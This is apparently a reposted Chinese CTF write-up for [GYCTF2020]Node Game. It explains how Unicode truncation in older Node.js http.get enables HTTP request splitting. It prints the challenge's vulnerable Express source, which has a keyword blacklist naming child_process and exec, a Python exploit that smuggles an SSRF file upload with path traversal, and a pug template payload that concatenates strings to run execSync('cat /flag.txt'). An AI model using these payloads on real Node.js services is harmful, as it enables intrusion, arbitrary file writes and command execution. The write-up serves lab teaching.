本文主要是介绍从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
nodejs HTTP拆分攻击
nodejs 8.12 Node.js API 文档
当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击
原理
Unicode原理
对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130
就会被截断为 \u30
:
字符 | 可由以下Unicode编码构造出 | Unicode编码对应的字符 | Unicode编码对应的字符对应的URL编码 |
---|---|---|---|
回车符 \r | \u010d | č | %C4%8D |
换行符 \n | \u010a | Ċ | %C4%8A |
空格 | \u0120 | Ġ | %C4%A0 |
反斜杠 \ | \u0122 | Ģ | %C4%A2 |
单引号 ‘ | \u0127 | ħ | %C4%A7 |
反引号 ` | \u0160 | Š | %C5%A0 |
叹号 ! | \u0121 | ġ | %C4%A1 |
nodejs 的 HTTP 拆分攻击利用
由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。
当 Node.js v8 或更低版本对此URL发出 GET
请求时,它不会进行编码转义,因为它们不是HTTP控制字符:
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'
原始请求数据如下:
GET / HTTP/1.1
Host: 47.101.57.72:4000
…………
当我们插入CRLF数据后,HTTP请求数据变成了:
GET / HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET HTTP/1.1
Host: 47.101.57.72:4000
所以我们构造的部分:
HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET
构造HTTP请求
py脚本:
payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)
WP
1.[GYCTF2020]Node Game
source:
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan'); // morgan是express默认的日志中间件
const multer = require('multer'); // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index"; //URL没有传东西就默认到indexif( action.includes("/") || action.includes("\\") ){ //action中不能含有/或\\字符res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file); // 渲染pug模板引擎 /template/自己url传的东西+.pugres.send(html);
});app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) { //admin验证需要有本地IP, nodejs的req.connection.remoteAddress我没有找到伪造的方法,所以这里需要http请求走私obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj)); //JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。return }fs.readFile(req.files[0].path, function(err, data){ //node.js 读取文件 fs.readFile(),算是一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){,然后去做err判断//这里为了判断上传文件合法if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_name // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越//可以类比nginx MIME -type和Content-Type的 关系 : 当web服务器收到静态的资源 文件 请求时,依据请求 文件 的后缀名在服务器的 MIME 配置 文件 中找到 对应 的 MIME Type,再根据 MIME Type设置HTTP Response的Content-Type,然后浏览器根据Content-Type的值处理 文件 。if(!fs.existsSync(__dirname + file_path)){ //fs.existsSync如果路径存在则返回 true,否则返回 false。try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name //上传成功,返回文件名和路径} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj)); }})
})app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
});app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url); //blacklist过滤if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) { //http.get漏洞利用点resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
})function blacklist(url) { //可以通过字符串拼接绕过。var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}}
}var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})
路由功能:
- /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
- /source:回显源码
- /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
- /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。
思路:利用SSRF伪造本地ip进行文件上传, 上传一个pug模板文件到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag
pug模板文件–pug的包含
在文件上传处抓包
对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 ../template
用于目录穿越(注意Content-Length也需要改成变化后的值),然后编写以下利用脚本:
import requests
import urllib.parsepayload = ''' HTTP/1.1POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--GET / HTTP/1.1
test:'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100+ord(i))return retpayload = payload_encode(payload)print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。
加密也可以用另一种方法
def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100+ord(i))return retpayload = payload_encode(payload)↓payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \
上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)
ps,post上传包的处理还挺严格的,
Content-Length绝对不能少的,是下面的加上上下两个换行,264+2(哎等等,好像数量不对也没关系)
------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--
至于本地IP的端口,源码上面看是8081,但其实只是检测了127.0.0.1,不写也可以
关于pug
上传的pug,不止有includ文件的方法
doctype html
htmlheadstyleinclude ../../../../../../../flag.txt
还有通过拼接 命令执行
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
参考链接:
https://www.anquanke.com/post/id/241429
这篇关于从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!